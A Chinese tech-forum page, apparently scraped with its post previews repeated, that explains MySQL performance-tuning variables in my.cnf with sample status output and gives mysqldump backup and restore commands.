实际测试发现,该值对插入数据的速度影响非常大,设置为2时插入10000条记录只需要2秒,设置为0时只需要1秒,而设置为1时则需要229秒。因此,MySQL手册也建议尽量将插入操作合并成一个事务,这样可以大幅提高速度。

根据MySQL手册,在允许丢失最近部分事务的危险的前提下,可以把该值设为0或2。

innodb_log_buffer_size

log缓存大小,一般为1-8M,默认为1M,对于较大的事务,可以增大缓存大小。

可设置为4M或8M。

innodb_additional_mem_pool_size

该参数指定InnoDB用来存储数据字典和其他内部数据结构的内存池大小。缺省值是1M。通常不用太大,只要够用就行,应该与表结构的复杂度有关系。如果不够用,MySQL会在错误日志中写入一条警告信息。

根据MySQL手册,对于2G内存的机器,推荐值是20M,可适当增加。

innodb_thread_concurrency=8

推荐设置为 2*(NumCPUs+NumDisks),默认一般为8

 原文作者:破修电脑的
分享原文地址:http://www.cnblogs.com/Bozh/archive/2013/01/22/2871545.html 查看全部


安装MySQL后,配置文件my.cnf在MySQL安装目录/share/mysql目录中,该目录中还包含多个配置文件可供参考,有my-large.cnf ,my-huge.cnf,  my-medium.cnf,my-small.cnf,分别对应大中小型数据库应用的配置。win环境下即存在于MySQL安装目录中的.ini文件。


下面列出了对性能优化影响较大的主要变量,主要分为连接请求的变量和缓冲区变量。
一、连接请求的变量


max_connections


MySQL的最大连接数,增加该值增加mysqld要求的文件描述符的数量。如果服务器的并发连接请求量比较大,建议调高此值,以增加并行连接数量,当然这建立在机器能支撑的情况下,因为如果连接数越多,介于MySQL会为每个连接提供连接缓冲区,就会开销越多的内存,所以要适当调整该值,不能盲目提高设值。

数值过小会经常出现ERROR 1040: Too many connections错误,可以过‘conn%’通配符查看当前状态的连接数量,以定夺该值的大小。

show variables like ’max_connections‘ 查看最大连接数
show status like ‘max_used_connections’ 查看响应的连接数
如下:
mysql> show variables like ‘max_connections‘;

+———————–+——-+

| Variable_name | Value |

+———————–+——-+

| max_connections | 256  |

+———————–+——-+

mysql> show status like ‘max%connections‘;

+———————–+——-+

| Variable_name  | Value |

+—————————-+——-+

| max_used_connections | 256|

+—————————-+——-+
max_used_connections / max_connections * 100% (理想值≈ 85%) 
如果max_used_connections跟max_connections相同 那么就是max_connections设置过低或者超过服务器负载上限了,低于10%则设置过大。


back_log


MySQL能暂存的连接数量。当主要MySQL线程在一个很短时间内得到非常多的连接请求,这就起作用。如果MySQL的连接数据达到max_connections时,新来的请求将会被存在堆栈中,以等待某一连接释放资源,该堆栈的数量即back_log,如果等待连接的数量超过back_log,将不被授予连接资源。

back_log值指出在MySQL暂时停止回答新请求之前的短时间内有多少个请求可以被存在堆栈中。只有如果期望在一个短时间内有很多连接,你需要增加它,换句话说,这值对到来的TCP/IP连接的侦听队列的大小。

当观察你主机进程列表(mysql> show full processlist),发现大量264084 | unauthenticated user | xxx.xxx.xxx.xxx | NULL | Connect | NULL | login | NULL 的待连接进程时,就要加大back_log 的值了。

默认数值是50,可调优为128,对于Linux系统设置范围为小于512的整数。


 interactive_timeout


一个交互连接在被服务器在关闭前等待行动的秒数。一个交互的客户被定义为对mysql_real_connect()使用CLIENT_INTERACTIVE 选项的客户。 

默认数值是28800,可调优为7200。
二、缓冲区变量
全局缓冲:


key_buffer_size


key_buffer_size指定索引缓冲区的大小,它决定索引处理的速度,尤其是索引读的速度。通过检查状态值Key_read_requests和Key_reads,可以知道key_buffer_size设置是否合理。比例key_reads / key_read_requests应该尽可能的低,至少是1:100,1:1000更好(上述状态值可以使用SHOW STATUS LIKE ‘key_read%’获得)。

key_buffer_size只对MyISAM表起作用。即使你不使用MyISAM表,但是内部的临时磁盘表是MyISAM表,也要使用该值。可以使用检查状态值created_tmp_disk_tables得知详情。
举例如下:
mysql> show variables like ‘key_buffer_size‘;

+——————-+————+

| Variable_name | Value |

+———————+————+

| key_buffer_size | 536870912 |

+———— ———-+————+

key_buffer_size为512MB,我们再看一下key_buffer_size的使用情况:

mysql> show global status like ‘key_read%‘;

+————————+————-+

| Variable_name  | Value |

+————————+————-+

| Key_read_requests| 27813678764 |

| Key_reads   | 6798830 |

+————————+————-+

一共有27813678764个索引读取请求,有6798830个请求在内存中没有找到直接从硬盘读取索引,计算索引未命中缓存的概率:

key_cache_miss_rate =Key_reads / Key_read_requests * 100%,设置在1/1000左右较好

默认配置数值是8388600(8M),主机有4GB内存,可以调优值为268435456(256MB)。


query_cache_size


使用查询缓冲,MySQL将查询结果存放在缓冲区中,今后对于同样的SELECT语句(区分大小写),将直接从缓冲区中读取结果。

通过检查状态值Qcache_*,可以知道query_cache_size设置是否合理(上述状态值可以使用SHOW STATUS LIKE ‘Qcache%’获得)。如果Qcache_lowmem_prunes的值非常大,则表明经常出现缓冲不够的情况,如果Qcache_hits的值也非常大,则表明查询缓冲使用非常频繁,此时需要增加缓冲大小;如果Qcache_hits的值不大,则表明你的查询重复率很低,这种情况下使用查询缓冲反而会影响效率,那么可以考虑不用查询缓冲。此外,在SELECT语句中加入SQL_NO_CACHE可以明确表示不使用查询缓冲。

与查询缓冲有关的参数还有query_cache_type、query_cache_limit、query_cache_min_res_unit。

query_cache_type指定是否使用查询缓冲,可以设置为0、1、2,该变量是SESSION级的变量。

query_cache_limit指定单个查询能够使用的缓冲区大小,缺省为1M。

query_cache_min_res_unit是在4.1版本以后引入的,它指定分配缓冲区空间的最小单位,缺省为4K。检查状态值Qcache_free_blocks,如果该值非常大,则表明缓冲区中碎片很多,这就表明查询结果都比较小,此时需要减小query_cache_min_res_unit。
举例如下:
mysql> show global status like ‘qcache%‘;

+——————————-+—————–+

| Variable_name | Value  |

+——————————-+—————–+

| Qcache_free_blocks  | 22756  |

| Qcache_free_memory  | 76764704 |

| Qcache_hits      | 213028692 |

| Qcache_inserts     | 208894227 |

| Qcache_lowmem_prunes | 4010916 |

| Qcache_not_cached | 13385031 |

| Qcache_queries_in_cache | 43560 |

| Qcache_total_blocks | 111212  |

+——————————-+—————–+

mysql> show variables like ‘query_cache%‘;

+————————————–+————–+

| Variable_name      | Value  |

+————————————–+———–+

| query_cache_limit      | 2097152 |

| query_cache_min_res_unit  | 4096   |

| query_cache_size      | 203423744 |

| query_cache_type      | ON  |

| query_cache_wlock_invalidate | OFF  |

+————————————–+—————+

查询缓存碎片率= Qcache_free_blocks / Qcache_total_blocks * 100%

如果查询缓存碎片率超过20%,可以用FLUSH QUERY CACHE整理缓存碎片,或者试试减小query_cache_min_res_unit,如果你的查询都是小数据量的话。

查询缓存利用率= (query_cache_size – Qcache_free_memory) / query_cache_size * 100%

查询缓存利用率在25%以下的话说明query_cache_size设置的过大,可适当减小;查询缓存利用率在80%以上而且Qcache_lowmem_prunes > 50的话说明query_cache_size可能有点小,要不就是碎片太多。

查询缓存命中率= (Qcache_hits – Qcache_inserts) / Qcache_hits * 100%

示例服务器查询缓存碎片率=20.46%,查询缓存利用率=62.26%,查询缓存命中率=1.94%,命中率很差,可能写操作比较频繁吧,而且可能有些碎片。

每个连接的缓冲:


record_buffer_size


每个进行一个顺序扫描的线程为其扫描的每张表分配这个大小的一个缓冲区。如果你做很多顺序扫描,你可能想要增加该值。

默认数值是131072(128K),可改为16773120 (16M)


read_rnd_buffer_size


随机读缓冲区大小。当按任意顺序读取行时(例如,按照排序顺序),将分配一个随机读缓存区。进行排序查询时,MySQL会首先扫描一遍该缓冲,以避免磁盘搜索,提高查询速度,如果需要排序大量数据,可适当调高该值。但MySQL会为每个客户连接发放该缓冲空间,所以应尽量适当设置该值,以避免内存开销过大。

一般可设置为16M


sort_buffer_size


每个需要进行排序的线程分配该大小的一个缓冲区。增加这值加速ORDER BY或GROUP BY操作。

默认数值是2097144(2M),可改为16777208 (16M)。


join_buffer_size


联合查询操作所能使用的缓冲区大小

record_buffer_size,read_rnd_buffer_size,sort_buffer_size,join_buffer_size为每个线程独占,也就是说,如果有100个线程连接,则占用为16M*100


table_cache


表高速缓存的大小。每当MySQL访问一个表时,如果在表缓冲区中还有空间,该表就被打开并放入其中,这样可以更快地访问表内容。通过检查峰值时间的状态值Open_tables和Opened_tables,可以决定是否需要增加table_cache的值。如果你发现open_tables等于table_cache,并且opened_tables在不断增长,那么你就需要增加table_cache的值了(上述状态值可以使用SHOW STATUS LIKE ‘Open%tables’获得)。注意,不能盲目地把table_cache设置成很大的值。如果设置得太高,可能会造成文件描述符不足,从而造成性能不稳定或者连接失败。

1G内存机器,推荐值是128-256。内存在4GB左右的服务器该参数可设置为256M或384M。


max_heap_table_size


用户可以创建的内存表(memory table)的大小。这个值用来计算内存表的最大行数值。这个变量支持动态改变,即set @max_heap_table_size=#

这个变量和tmp_table_size一起限制了内部内存表的大小。如果某个内部heap(堆积)表大小超过tmp_table_size,MySQL可以根据需要自动将内存中的heap表改为基于硬盘的MyISAM表。


tmp_table_size


通过设置tmp_table_size选项来增加一张临时表的大小,例如做高级GROUP BY操作生成的临时表。如果调高该值,MySQL同时将增加heap表的大小,可达到提高联接查询速度的效果,建议尽量优化查询,要确保查询过程中生成的临时表在内存中,避免临时表过大导致生成基于硬盘的MyISAM表。
mysql> show global status like ‘created_tmp%‘;

+——————————–+———+

| Variable_name   | Value |

+———————————-+———+

| Created_tmp_disk_tables | 21197 |

| Created_tmp_files   | 58  |

| Created_tmp_tables  | 1771587 |

+——————————–+———–+
每次创建临时表,Created_tmp_tables增加,如果临时表大小超过tmp_table_size,则是在磁盘上创建临时表,Created_tmp_disk_tables也增加,Created_tmp_files表示MySQL服务创建的临时文件文件数,比较理想的配置是:

Created_tmp_disk_tables / Created_tmp_tables [i] 100% <= 25%比如上面的服务器Created_tmp_disk_tables / Created_tmp_tables [/i] 100% =1.20%,应该相当好了

默认为16M,可调到64-256最佳,线程独占,太大可能内存不够I/O堵塞


thread_cache_size


可以复用的保存在中的线程的数量。如果有,新的线程从缓存中取得,当断开连接的时候如果有空间,客户的线置在缓存中。如果有很多新的线程,为了提高性能可以这个变量值。

通过比较 Connections和Threads_created状态的变量,可以看到这个变量的作用。

默认值为110,可调优为80。


thread_concurrency


推荐设置为服务器 CPU核数的2倍,例如双核的CPU, 那么thread_concurrency的应该为4;2个双核的cpu, thread_concurrency的值应为8。默认为8


wait_timeout


指定一个请求的最大连接时间,对于4GB左右内存的服务器可以设置为5-10。
三、配置InnoDB的几个变量


innodb_buffer_pool_size


对于InnoDB表来说,innodb_buffer_pool_size的作用就相当于key_buffer_size对于MyISAM表的作用一样。InnoDB使用该参数指定大小的内存来缓冲数据和索引。对于单独的MySQL数据库服务器,最大可以把该值设置成物理内存的80%。

根据MySQL手册,对于2G内存的机器,推荐值是1G(50%)。


innodb_flush_log_at_trx_commit


主要控制了innodb将log buffer中的数据写入日志文件并flush磁盘的时间点,取值分别为0、1、2三个。0,表示当事务提交时,不做日志写入操作,而是每秒钟将log buffer中的数据写入日志文件并flush磁盘一次;1,则在每秒钟或是每次事物的提交都会引起日志文件写入、flush磁盘的操作,确保了事务的ACID;设置为2,每次事务提交引起写入日志文件的动作,但每秒钟完成一次flush磁盘操作。

实际测试发现,该值对插入数据的速度影响非常大,设置为2时插入10000条记录只需要2秒,设置为0时只需要1秒,而设置为1时则需要229秒。因此,MySQL手册也建议尽量将插入操作合并成一个事务,这样可以大幅提高速度。

根据MySQL手册,在允许丢失最近部分事务的危险的前提下,可以把该值设为0或2。


innodb_log_buffer_size


log缓存大小,一般为1-8M,默认为1M,对于较大的事务,可以增大缓存大小。

可设置为4M或8M。


innodb_additional_mem_pool_size


该参数指定InnoDB用来存储数据字典和其他内部数据结构的内存池大小。缺省值是1M。通常不用太大,只要够用就行,应该与表结构的复杂度有关系。如果不够用,MySQL会在错误日志中写入一条警告信息。

根据MySQL手册,对于2G内存的机器,推荐值是20M,可适当增加。


innodb_thread_concurrency=8


推荐设置为 2*(NumCPUs+NumDisks),默认一般为8

 原文作者:破修电脑的
分享原文地址:http://www.cnblogs.com/Bozh/archive/2013/01/22/2871545.html

Msyql备份之mysqldump介绍

采菊篱下 发表了文章 • 2 个评论 • 667 次浏览 • 2015-10-07 18:40 • 来自相关话题

一、​备份MYSQL

把一个库导出到一个SQL文件

mysqldump -uroot -ppassword db_name > /data/rh/db_name.sql

备份多个库(使用-B参数)
-B, --databases Dump several databases. Note the difference in usage; in
this case no tables are given. All name arguments are
regarded as database names. 'USE db_name;' will be
included in the output.
如果需要指定字符集的话,可以使用--default-character-set参数。

备份全部库

mysqldump -uroot -ppassword --all-databases > /data/rh/db_all.sql

备份某个表

mysqldump -uroot -ppassword dbname table_name > /data/rh/table_name.sql

备份某库多个表

mysqldump -uroot -ppassword dbname tb1_name tb2_name > /data/rh/tb1_tab2.sql

备份数据库的表结构

mysqldump -uroot -ppassword -q -d dbname > /data/bakm3310/dbname.sql
-q 就是忽略缓存数据
-d 就是没有数据行信息

导出某库某表的结构

mysqldump -uroot -ppassword -d dbname tbname > /data/rh/tbname.sql

导出某库某表的内容

mysqldump -uroot -ppassword -t dbname tbname > /data/rh/tbname.sql
-t 没有创建表的创建信息二、恢复数据
有两种恢复方式如下:

第一种

mysql -uroot -ppassword db_name < /data/rh/db_name.sql

第二种

#mysql -u root -ppasword
mysql> use db_name;
mysql> source /data/rh/db_name.sql; 查看全部
一、​备份MYSQL


把一个库导出到一个SQL文件


mysqldump -uroot -ppassword db_name > /data/rh/db_name.sql 

备份多个库(使用-B参数)
-B, --databases Dump several databases. Note the difference in usage; in
this case no tables are given. All name arguments are
regarded as database names. 'USE db_name;' will be
included in the output.
如果需要指定字符集的话,可以使用--default-character-set参数。


备份全部库


mysqldump -uroot -ppassword --all-databases > /data/rh/db_all.sql


备份某个表


mysqldump -uroot -ppassword dbname table_name > /data/rh/table_name.sql


备份某库多个表


mysqldump -uroot -ppassword dbname tb1_name tb2_name > /data/rh/tb1_tab2.sql


备份数据库的表结构


mysqldump -uroot -ppassword -q -d dbname > /data/bakm3310/dbname.sql
-q 就是忽略缓存数据
-d 就是没有数据行信息


导出某库某表的结构


mysqldump -uroot -ppassword -d dbname tbname > /data/rh/tbname.sql


导出某库某表的内容


mysqldump -uroot -ppassword -t dbname tbname > /data/rh/tbname.sql
-t 没有创建表的创建信息
二、恢复数据
有两种恢复方式如下:


第一种


mysql -uroot -ppassword db_name < /data/rh/db_name.sql


第二种


#mysql -u root -ppasword
mysql> use db_name;
mysql> source /data/rh/db_name.sql;